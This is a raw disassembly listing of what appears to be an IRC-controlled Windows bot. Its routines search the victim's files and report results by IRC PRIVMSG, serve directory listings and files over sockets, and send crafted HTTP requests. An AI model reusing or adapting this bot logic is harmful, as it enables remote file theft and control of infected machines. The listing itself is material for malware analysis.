arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 8C4h
push ebx
push esi
push edi
xor edi, edi
push 104h
lea eax, [ebp+var_210]
push edi
push eax
mov [ebp+var_4], edi
call sub_415570
mov eax, [ebp+arg_8]
add esp, 0Ch
cmp byte ptr [eax], 2Fh
jz short loc_406136
push eax
push offset aS_2 ; "\\%s"
jmp short loc_40613F
; ---------------------------------------------------------------------------
loc_406136: ; CODE XREF: sub_406100+2Cj
push eax
mov byte ptr [eax], 5Ch
push offset aS_1 ; "%s"
loc_40613F: ; CODE XREF: sub_406100+34j
lea eax, [ebp+var_10C]
push eax
call sub_4154E7
add esp, 0Ch
lea eax, [ebp+var_10C]
xor esi, esi
xor ebx, ebx
push eax
call sub_415CF0
test eax, eax
pop ecx
jbe short loc_4061DA
mov [ebp+arg_8], 2
loc_40616A: ; CODE XREF: sub_406100+D8j
lea eax, [ebp+var_10C]
push eax
call sub_415CF0
cmp [ebp+arg_8], eax
pop ecx
jnb short loc_4061AA
cmp [ebp+esi+var_10C], 25h
jnz short loc_4061AA
cmp [ebp+esi+var_10B], 32h
jnz short loc_4061AA
cmp [ebp+esi+var_10A], 30h
jnz short loc_4061AA
inc esi
mov [ebp+ebx+var_210], 20h
inc esi
add [ebp+arg_8], 2
jmp short loc_4061C4
; ---------------------------------------------------------------------------
loc_4061AA: ; CODE XREF: sub_406100+7Aj
; sub_406100+84j ...
mov al, [ebp+esi+var_10C]
cmp al, 2Fh
jnz short loc_4061BA
push 5Ch
pop eax
jmp short loc_4061BD
; ---------------------------------------------------------------------------
loc_4061BA: ; CODE XREF: sub_406100+B3j
movsx eax, al
loc_4061BD: ; CODE XREF: sub_406100+B8j
mov [ebp+ebx+var_210], al
loc_4061C4: ; CODE XREF: sub_406100+A8j
lea eax, [ebp+var_10C]
inc esi
inc [ebp+arg_8]
push eax
inc ebx
call sub_415CF0
cmp esi, eax
pop ecx
jb short loc_40616A
loc_4061DA: ; CODE XREF: sub_406100+61j
lea eax, [ebp+var_210]
push eax
lea eax, [ebp+var_314]
push [ebp+arg_4]
push offset aSS_2 ; "%s%s"
push eax
call sub_4154E7
lea eax, [ebp+var_314]
push offset asc_426CB4 ; "\n"
push eax
call sub_416C98
add esp, 18h
lea eax, [ebp+var_314]
push eax
call dword_421094 ; GetFileAttributesA
push 1
cmp eax, 10h
pop esi
jz short loc_406228
cmp eax, 0FFFFFFFFh
jnz short loc_40622B
push [ebp+arg_0]
jmp short loc_4062A7
; ---------------------------------------------------------------------------
loc_406228: ; CODE XREF: sub_406100+11Cj
mov [ebp+var_4], esi
loc_40622B: ; CODE XREF: sub_406100+121j
cmp [ebp+ebx+var_211], 5Ch
jnz short loc_406238
mov [ebp+var_4], esi
loc_406238: ; CODE XREF: sub_406100+133j
mov ebx, [ebp+arg_0]
cmp [ebp+var_4], edi
mov [ebp+var_6C4], ebx
mov [ebp+var_318], edi
jz short loc_4062B2
cmp [ebp+arg_C], edi
jz short loc_4062A6
lea eax, [ebp+var_314]
push offset asc_426CB0 ; "*"
push eax
call sub_415C10
lea eax, [ebp+var_314]
push eax
lea eax, [ebp+var_640]
push eax
call sub_4154E7
lea eax, [ebp+var_210]
push eax
call sub_406AEF
lea eax, [ebp+var_210]
push eax
lea eax, [ebp+var_53C]
push eax
call sub_4154E7
add esp, 1Ch
or [ebp+var_330], 0FFFFFFFFh
mov [ebp+var_31C], esi
jmp short loc_406301
; ---------------------------------------------------------------------------
loc_4062A6: ; CODE XREF: sub_406100+14Fj
push ebx
loc_4062A7: ; CODE XREF: sub_406100+126j
call dword_43A430
jmp loc_4063A9
; ---------------------------------------------------------------------------
loc_4062B2: ; CODE XREF: sub_406100+14Aj
push edi
push edi
push 3
push edi
push esi
lea eax, [ebp+var_314]
push 80000000h
push eax
call dword_421078 ; CreateFileA
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_406301
lea eax, [ebp+var_314]
push eax
lea eax, [ebp+var_640]
push eax
call sub_4154E7
pop ecx
mov [ebp+var_31C], edi
pop ecx
push edi
push esi
call dword_421090 ; GetFileSize
push esi
mov [ebp+var_330], eax
call dword_42106C ; CloseHandle
loc_406301: ; CODE XREF: sub_406100+1A4j
; sub_406100+1CFj
mov esi, [ebp+arg_10]
lea eax, [ebp+var_8C4]
push esi
push offset unk_426C6C
push eax
call sub_4154E7
push edi
lea eax, [ebp+var_8C4]
push 3
push eax
call sub_414F93
mov [ebp+var_32C], eax
imul eax, 234h
add esp, 18h
mov dword_43F52C[eax], esi
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_6C4]
push edi
push eax
push offset sub_405F7E
push edi
push edi
call dword_42108C ; CreateThread
mov ecx, [ebp+var_32C]
imul ecx, 234h
cmp eax, edi
mov dword_43F53C[ecx], eax
jz short loc_40637B
loc_406369: ; CODE XREF: sub_406100+279j
cmp [ebp+var_318], edi
jnz short loc_4063A9
push 5
call dword_421060 ; Sleep
jmp short loc_406369
; ---------------------------------------------------------------------------
loc_40637B: ; CODE XREF: sub_406100+267j
push ebx
call dword_43A430
call dword_421088 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_8C4]
push offset unk_426C20
push eax
call sub_4154E7
lea eax, [ebp+var_8C4]
push eax
call sub_40B16D
add esp, 10h
loc_4063A9: ; CODE XREF: sub_406100+1ADj
; sub_406100+26Fj
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
sub_406100 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4063B0 proc near ; CODE XREF: sub_405F7E+159p
; sub_40CE55+464Cp
var_594 = byte ptr -594h
var_490 = byte ptr -490h
var_388 = dword ptr -388h
var_374 = byte ptr -374h
var_368 = dword ptr -368h
var_35C = byte ptr -35Ch
var_248 = byte ptr -248h
var_48 = byte ptr -48h
var_20 = byte ptr -20h
var_18 = word ptr -18h
var_16 = word ptr -16h
var_12 = word ptr -12h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 594h
push ebx
push esi
push edi
xor ebx, ebx
push 104h
lea eax, [ebp+var_594]
push ebx
push eax
mov [ebp+var_4], ebx
mov [ebp+var_8], ebx
call sub_415570
mov edi, [ebp+arg_0]
push offset asc_426CB4 ; "\n"
push edi
call sub_416C98
add esp, 14h
cmp [ebp+arg_8], ebx
jz short loc_40640F
push edi
mov esi, 200h
push [ebp+arg_8]
lea eax, [ebp+var_248]
push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n"
push esi
push eax
call sub_415A6A
add esp, 14h
jmp loc_40650C
; ---------------------------------------------------------------------------
loc_40640F: ; CODE XREF: sub_4063B0+3Aj
cmp [ebp+arg_C], ebx
push edi
jz loc_4064F2
call sub_415CF0
mov [eax+edi-1], bl
push edi
mov esi, 200h
push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_415A6A
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_415CF0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_43A3E8
push edi
push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
lea eax, [ebp+var_248]
push esi
push eax
call sub_415A6A
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_415CF0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_43A3E8
push edi
call sub_415CF0
push 3Ch
push 96h
mov byte ptr [eax+edi], 2Ah
push 0E6h
push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_415A6A
add esp, 1Ch
lea eax, [ebp+var_248]
push ebx
push eax
call sub_415CF0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_43A3E8
push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_415A6A
add esp, 0Ch
jmp short loc_40650C
; ---------------------------------------------------------------------------
loc_4064F2: ; CODE XREF: sub_4063B0+63j
mov esi, 200h
push offset aSearchingForS ; "Searching for: %s\r\n"
lea eax, [ebp+var_248]
push esi
push eax
call sub_415A6A
add esp, 10h
loc_40650C: ; CODE XREF: sub_4063B0+5Aj
; sub_4063B0+140j
lea eax, [ebp+var_248]
push ebx
push eax
call sub_415CF0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_43A3E8
cmp [ebp+arg_C], ebx
jz short loc_4065A4
push [ebp+arg_C]
call sub_415CF0
cmp eax, 2
pop ecx
jbe short loc_4065A4
push [ebp+arg_C]
call sub_415CF0
sub eax, 3
pop ecx
jz short loc_406558
loc_40654C: ; CODE XREF: sub_4063B0+1A6j
mov ecx, [ebp+arg_C]
cmp byte ptr [eax+ecx], 2Fh
jz short loc_406558
dec eax
jnz short loc_40654C
loc_406558: ; CODE XREF: sub_4063B0+19Aj
; sub_4063B0+1A3j
inc eax
push eax
lea eax, [ebp+var_594]
push [ebp+arg_C]
push eax
call sub_416D40
lea eax, [ebp+var_594]
push eax
push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_415A6A
add esp, 1Ch
lea eax, [ebp+var_248]
push ebx
push eax
call sub_415CF0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_43A3E8
loc_4065A4: ; CODE XREF: sub_4063B0+17Ej
; sub_4063B0+18Cj
lea eax, [ebp+var_388]
push eax
push edi
call dword_4210A8 ; FindFirstFileA
lea ecx, [ebp+var_388]
mov [ebp+arg_0], eax
push ecx
push eax
call dword_4210A4 ; FindNextFileA
test eax, eax
jz loc_406995
mov edi, 1FFh
loc_4065D0: ; CODE XREF: sub_4063B0+5DFj
cmp [ebp+var_388], ebx
jz loc_40697D
lea eax, [ebp+var_35C]
push offset a__ ; ".."
push eax
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_40697D
lea eax, [ebp+var_35C]
push offset a__0 ; "."
push eax
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_40697D
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_374]
push eax
call dword_4210A0 ; FileTimeToLocalFileTime
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_20]
push eax
call dword_42109C ; FileTimeToSystemTime
mov ax, [ebp+var_10]
mov ecx, offset aPm ; "PM"
cmp ax, 0Ch
ja short loc_406645
mov ecx, offset aAm ; "AM"
loc_406645: ; CODE XREF: sub_4063B0+28Ej
cmp ax, 0Ch
movzx eax, ax
jbe short loc_406651
sub eax, 0Ch
loc_406651: ; CODE XREF: sub_4063B0+29Cj
push ecx
movzx ecx, [ebp+var_E]
push ecx
push eax
movzx eax, [ebp+var_18]
push eax
movzx eax, [ebp+var_12]
push eax
movzx eax, [ebp+var_16]
push eax
lea eax, [ebp+var_48]
push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s"
push eax
call sub_4154E7
add esp, 20h
test byte ptr [ebp+var_388], 10h
jz loc_4067FE
inc [ebp+var_8]
cmp [ebp+arg_8], ebx
jz short loc_4066D2
lea eax, [ebp+var_35C]
push eax
push offset aS_0 ; "<%s>"
lea eax, [ebp+var_490]
push 106h
push eax
call sub_415A6A
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_490]
push eax
lea eax, [ebp+var_248]
push [ebp+arg_8]
push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n"
push esi
push eax
call sub_415A6A
add esp, 28h
jmp loc_40694E
; ---------------------------------------------------------------------------
loc_4066D2: ; CODE XREF: sub_4063B0+2DBj
cmp [ebp+arg_C], ebx
jz loc_4067BC
push 0E6h
push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
lea eax, [ebp+var_248]
push edi
push eax
call sub_415A6A
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_415CF0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_43A3E8
lea eax, [ebp+var_35C]
push eax
lea eax, [ebp+var_248]
push [ebp+arg_C]
push offset aSS_0 ; "%s%s/"
push edi
push eax
call sub_415A6A
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_415CF0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_43A3E8
lea eax, [ebp+var_35C]
push eax
call sub_415CF0
cmp eax, 1Eh
pop ecx
lea eax, [ebp+var_35C]
push eax
jbe short loc_406772
push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
jmp short loc_406777
; ---------------------------------------------------------------------------
loc_406772: ; CODE XREF: sub_4063B0+3B9j
push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"
loc_406777: ; CODE XREF: sub_4063B0+3C0j
lea eax, [ebp+var_248]
push edi
push eax
call sub_415A6A
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_415CF0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_43A3E8
lea eax, [ebp+var_48]
push 3Ch
push eax
push 96h
push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
push edi
jmp loc_40693F
; ---------------------------------------------------------------------------
loc_4067BC: ; CODE XREF: sub_4063B0+325j
lea eax, [ebp+var_35C]
push eax
push offset aS_0 ; "<%s>"
lea eax, [ebp+var_490]
push 106h
push eax
call sub_415A6A
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_490]
push eax
push offset a31s21s ; "%-31s %-21s\r\n"
loc_4067E9: ; CODE XREF: sub_4063B0+476j
lea eax, [ebp+var_248]
push esi
push eax
call sub_415A6A
add esp, 24h
jmp loc_40694E
; ---------------------------------------------------------------------------
loc_4067FE: ; CODE XREF: sub_4063B0+2CFj
inc [ebp+var_4]
cmp [ebp+arg_8], ebx
jz short loc_406828
push ebx
push [ebp+var_368]
call sub_40C218
push eax
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_35C]
push eax
push [ebp+arg_8]
push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n"
jmp short loc_4067E9
; ---------------------------------------------------------------------------
loc_406828: ; CODE XREF: sub_4063B0+454j
cmp [ebp+arg_C], ebx
jz loc_406928
push 0E6h
push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
lea eax, [ebp+var_248]
push edi
push eax
call sub_415A6A
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_415CF0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_43A3E8
lea eax, [ebp+var_35C]
push eax
lea eax, [ebp+var_248]
push [ebp+arg_C]
push offset aSS_2 ; "%s%s"
push edi
push eax
call sub_415A6A
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_415CF0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_43A3E8
lea eax, [ebp+var_35C]
push eax
call sub_415CF0
cmp eax, 1Fh
pop ecx
lea eax, [ebp+var_35C]
push eax
jbe short loc_4068C8
push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
jmp short loc_4068CD
; ---------------------------------------------------------------------------
loc_4068C8: ; CODE XREF: sub_4063B0+50Fj
push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"
loc_4068CD: ; CODE XREF: sub_4063B0+516j
lea eax, [ebp+var_248]
push edi
push eax
call sub_415A6A
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_415CF0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_43A3E8
mov eax, [ebp+var_368]
shr eax, 0Ah
push eax
lea eax, [ebp+var_48]
push 3Ch
push eax
push 96h
push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
lea eax, [ebp+var_248]
push edi
push eax
call sub_415A6A
add esp, 1Ch
jmp short loc_40694E
; ---------------------------------------------------------------------------
loc_406928: ; CODE XREF: sub_4063B0+47Bj
push [ebp+var_368]
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_35C]
push eax
push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n"
push esi
loc_40693F: ; CODE XREF: sub_4063B0+407j
lea eax, [ebp+var_248]
push eax
call sub_415A6A
add esp, 18h
loc_40694E: ; CODE XREF: sub_4063B0+31Dj
; sub_4063B0+449j ...
lea eax, [ebp+var_248]
push ebx
push eax
call sub_415CF0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_43A3E8
cmp [ebp+arg_8], ebx
jz short loc_40697D
push 7D0h
call dword_421060 ; Sleep
loc_40697D: ; CODE XREF: sub_4063B0+226j
; sub_4063B0+241j ...
lea eax, [ebp+var_388]
push eax
push [ebp+arg_0]
call dword_4210A4 ; FindNextFileA
test eax, eax
jnz loc_4065D0
loc_406995: ; CODE XREF: sub_4063B0+215j
push [ebp+arg_0]
call dword_421098 ; FindClose
cmp [ebp+arg_8], ebx
jz short loc_4069D8
mov eax, [ebp+var_8]
cdq
push edx
push eax
call sub_40C218
pop ecx
pop ecx
push eax
mov eax, [ebp+var_4]
cdq
push edx
push eax
call sub_40C218
pop ecx
pop ecx
push eax
lea eax, [ebp+var_248]
push [ebp+arg_8]
push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
push eax
call sub_4154E7
add esp, 14h
jmp short loc_406A0C
; ---------------------------------------------------------------------------
loc_4069D8: ; CODE XREF: sub_4063B0+5F1j
cmp [ebp+arg_C], ebx
jz short loc_4069F2
lea eax, [ebp+var_248]
push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
push eax
call sub_4154E7
pop ecx
pop ecx
jmp short loc_406A0C
; ---------------------------------------------------------------------------
loc_4069F2: ; CODE XREF: sub_4063B0+62Bj
push [ebp+var_8]
lea eax, [ebp+var_248]
push [ebp+var_4]
push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
push eax
call sub_4154E7
add esp, 10h
loc_406A0C: ; CODE XREF: sub_4063B0+626j
; sub_4063B0+640j
lea eax, [ebp+var_248]
push ebx
push eax
call sub_415CF0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_43A3E8
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
sub_4063B0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406A32 proc near ; CODE XREF: sub_405F7E+13Bp
var_404 = byte ptr -404h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 404h
push ebx
push esi
xor esi, esi
push edi
push esi
push esi
push 3
push esi
push 1
push 80000000h
push [ebp+arg_4]
mov edi, 400h
mov [ebp+var_4], esi
call dword_421078 ; CreateFileA
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_406AEA
push esi
push ebx
call dword_421090 ; GetFileSize
cmp eax, esi
mov [ebp+arg_4], eax
jz short loc_406AE3
loc_406A77: ; CODE XREF: sub_406A32+AFj
push 400h
lea eax, [ebp+var_404]
push esi
push eax
call sub_415570
add esp, 0Ch
cmp edi, [ebp+arg_4]
jbe short loc_406A94
mov edi, [ebp+arg_4]
loc_406A94: ; CODE XREF: sub_406A32+5Dj
mov eax, [ebp+arg_4]
push 2
neg eax
push esi
push eax
push ebx
call dword_4210AC ; SetFilePointer
lea eax, [ebp+var_4]
push esi
push eax
lea eax, [ebp+var_404]
push edi
push eax
push ebx
call dword_421068 ; ReadFile
push esi
lea eax, [ebp+var_404]
push edi
push eax
push [ebp+arg_0]
call dword_43A3E8
cmp eax, 0FFFFFFFFh
jnz short loc_406ADE
call dword_43A32C
cmp eax, 2733h
jnz short loc_406AE3
xor eax, eax
loc_406ADE: ; CODE XREF: sub_406A32+9Bj
sub [ebp+arg_4], eax
jnz short loc_406A77
loc_406AE3: ; CODE XREF: sub_406A32+43j
; sub_406A32+A8j
push ebx
call dword_42106C ; CloseHandle
loc_406AEA: ; CODE XREF: sub_406A32+30j
pop edi
pop esi
pop ebx
leave
retn
sub_406A32 endp
; =============== S U B R O U T I N E =======================================
sub_406AEF proc near ; CODE XREF: sub_406100+17Cp
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
xor esi, esi
push edi
call sub_415CF0
test eax, eax
pop ecx
jbe short loc_406B18
loc_406B02: ; CODE XREF: sub_406AEF+27j
cmp byte ptr [esi+edi], 5Ch
jnz short loc_406B0C
mov byte ptr [esi+edi], 2Fh
loc_406B0C: ; CODE XREF: sub_406AEF+17j
push edi
inc esi
call sub_415CF0
cmp esi, eax
pop ecx
jb short loc_406B02
loc_406B18: ; CODE XREF: sub_406AEF+11j
mov eax, edi
pop edi
pop esi
retn
sub_406AEF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406B1D proc near ; CODE XREF: sub_40CE55+2AD5p
var_4A0 = byte ptr -4A0h
var_310 = byte ptr -310h
var_110 = byte ptr -110h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
sub esp, 4A0h
push ebx
lea eax, [ebp+var_4A0]
push edi
push eax
push 101h
call dword_43A310
push 6
push 1
push 2
call dword_43A418
mov ebx, eax
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_415570
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+arg_14]
call dword_43A398
push [ebp+arg_10]
mov [ebp+var_E], ax
call sub_40A05B
pop ecx
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
call dword_43A340
cmp eax, 0FFFFFFFFh
jz short loc_406BFA
mov eax, [ebp+arg_20]
cmp eax, edi
jnz short loc_406B96
mov eax, offset byte_438FBC
loc_406B96: ; CODE XREF: sub_406B1D+72j
push esi
mov esi, 100h
push [ebp+arg_10]
push eax
lea eax, [ebp+var_110]
push [ebp+arg_1C]
push [ebp+arg_18]
push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
push esi
push eax
call sub_415A6A
add esp, 1Ch
lea eax, [ebp+var_110]
push edi
push eax
call sub_415CF0
pop ecx
push eax
lea eax, [ebp+var_110]
push eax
push ebx
call dword_43A3E8
push esi
lea eax, [ebp+var_110]
push edi
push eax
call sub_4155D0
add esp, 0Ch
lea eax, [ebp+var_110]
push edi
push esi
push eax
push ebx
call dword_43A3B0
pop esi
loc_406BFA: ; CODE XREF: sub_406B1D+6Bj
push ebx
call dword_43A430
call dword_43A2F8
lea eax, [ebp+var_110]
push eax
lea eax, [ebp+var_310]
push eax
call sub_4154E7
cmp [ebp+arg_C], edi
pop ecx
pop ecx
jnz short loc_406C3A
push edi
lea eax, [ebp+var_310]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412D4C
add esp, 14h
loc_406C3A: ; CODE XREF: sub_406B1D+102j
pop edi
pop ebx
leave
retn
sub_406B1D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406C3E proc near ; CODE XREF: sub_406C3E:loc_407129p
; DATA XREF: sub_407276+107o ...
var_884 = dword ptr -884h
var_880 = dword ptr -880h
var_780 = byte ptr -780h
var_580 = byte ptr -580h
var_57F = byte ptr -57Fh
var_57E = byte ptr -57Eh
var_57D = byte ptr -57Dh
var_57C = byte ptr -57Ch
var_37C = dword ptr -37Ch
var_378 = byte ptr -378h
var_274 = byte ptr -274h
var_170 = dword ptr -170h
var_16C = dword ptr -16Ch
var_168 = dword ptr -168h
var_164 = byte ptr -164h
var_E4 = dword ptr -0E4h
var_E0 = dword ptr -0E0h
var_D8 = byte ptr -0D8h
var_D7 = byte ptr -0D7h
var_D6 = byte ptr -0D6h
var_D5 = byte ptr -0D5h
var_58 = byte ptr -58h
var_44 = word ptr -44h
var_42 = word ptr -42h
var_40 = dword ptr -40h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = byte ptr -2Ch
var_28 = dword ptr -28h
var_1C = byte ptr -1Ch
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 884h
push ebx
push esi
push edi
mov edx, [ebp+arg_0]
mov esi, offset aOctet ; "octet"
lea edi, [ebp+var_1C]
movsd
push 1
xor ebx, ebx
movsw
pop eax
mov ecx, 0A9h
mov esi, edx
lea edi, [ebp+var_37C]
push ebx
push 2
rep movsd
inc [ebp+var_16C]
push 2
mov [ebp+var_C], eax
mov [edx+2A0h], eax
call dword_43A418
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_10], edi
jnz short loc_406D01
push 190h
call dword_421060 ; Sleep
call dword_43A32C
push eax
lea eax, [ebp+var_780]
push offset unk_4272BC
push eax
call sub_4154E7
add esp, 0Ch
cmp [ebp+var_E0], ebx
jnz short loc_406CE1
push ebx
lea eax, [ebp+var_780]
push [ebp+var_E4]
push eax
lea eax, [ebp+var_164]
push eax
push [ebp+var_37C]
call sub_412D4C
add esp, 14h
loc_406CE1: ; CODE XREF: sub_406C3E+7Ej
lea eax, [ebp+var_780]
push eax
call sub_40B16D
push [ebp+var_170]
call sub_4152AF
pop ecx
pop ecx
push ebx
call dword_421048 ; ExitThread
loc_406D01: ; CODE XREF: sub_406C3E+50j
mov eax, [ebp+var_170]
push 10h
imul eax, 234h
push ebx
mov dword_43F534[eax], edi
lea eax, [ebp+var_44]
push eax
call sub_415570
add esp, 0Ch
mov [ebp+var_44], 2
push [ebp+var_168]
call dword_43A398
mov [ebp+var_42], ax
lea eax, [ebp+var_44]
push 10h
push eax
push edi
mov [ebp+var_40], ebx
call dword_43A3C4
cmp eax, 0FFFFFFFFh
jnz short loc_406D66
push 1388h
call dword_421060 ; Sleep
dec [ebp+var_16C]
push [ebp+arg_0]
jmp loc_407129
; ---------------------------------------------------------------------------
loc_406D66: ; CODE XREF: sub_406C3E+10Dj
lea eax, [ebp+var_378]
push offset aRb ; "rb"
push eax
call sub_415BE8
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+var_8], eax
jnz short loc_406DE4
push 190h
call dword_421060 ; Sleep
lea eax, [ebp+var_378]
push eax
lea eax, [ebp+var_780]
push offset unk_42726C
push eax
call sub_4154E7
push ebx
lea eax, [ebp+var_780]
push [ebp+var_E4]
push eax
lea eax, [ebp+var_164]
push eax
push [ebp+var_37C]
call sub_412D4C
lea eax, [ebp+var_780]
push eax
call sub_40B16D
push [ebp+var_170]
call sub_4152AF
add esp, 28h
push ebx
call dword_421048 ; ExitThread
loc_406DE4: ; CODE XREF: sub_406C3E+140j
mov esi, 200h
loc_406DE9: ; CODE XREF: sub_406C3E+4A5j
mov eax, [ebp+arg_0]
cmp [eax+2A0h], ebx
jz loc_4070E9
mov [ebp+var_880], edi
mov edi, 80h
push edi
lea eax, [ebp+var_D8]
push ebx
push eax
mov [ebp+var_34], 5
mov [ebp+var_30], 1388h
mov [ebp+var_884], 1
call sub_415570
add esp, 0Ch
lea eax, [ebp+var_34]
push eax
push ebx
lea eax, [ebp+var_884]
push ebx
push eax
push ebx
call dword_43A380
test eax, eax
jle loc_4070DD
mov al, byte_438FBC
mov ecx, edi
mov [ebp+var_580], al
xor eax, eax
lea edi, [ebp+var_57F]
mov [ebp+var_4], 10h
rep stosd
stosw
stosb
mov edi, [ebp+var_10]
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_2C]
push eax
push ebx
lea eax, [ebp+var_D8]
push 80h
push eax
push edi
call dword_43A370
push [ebp+var_28]
mov [ebp+var_C], eax
call dword_43A424
push eax
lea eax, [ebp+var_58]
push eax
call sub_4154E7
cmp [ebp+var_D8], bl
pop ecx
pop ecx
jnz loc_4070C7
cmp [ebp+var_D7], 1
jnz loc_407013
lea eax, [ebp+var_274]
push eax
call sub_415CF0
lea eax, [ebp+eax+var_D5]
mov [ebp+var_14], eax
lea eax, [ebp+var_274]
push eax
call sub_415CF0
push eax
lea eax, [ebp+var_D6]
push eax
lea eax, [ebp+var_274]
push eax
call sub_416ED0
add esp, 14h
test eax, eax
jnz loc_406FCD
lea eax, [ebp+var_1C]
push eax
call sub_415CF0
push eax
lea eax, [ebp+var_1C]
push [ebp+var_14]
push eax
call sub_416ED0
add esp, 10h
test eax, eax
jnz loc_406FCD
push ebx
push ebx
push [ebp+var_8]
call sub_416E3E
push [ebp+var_8]
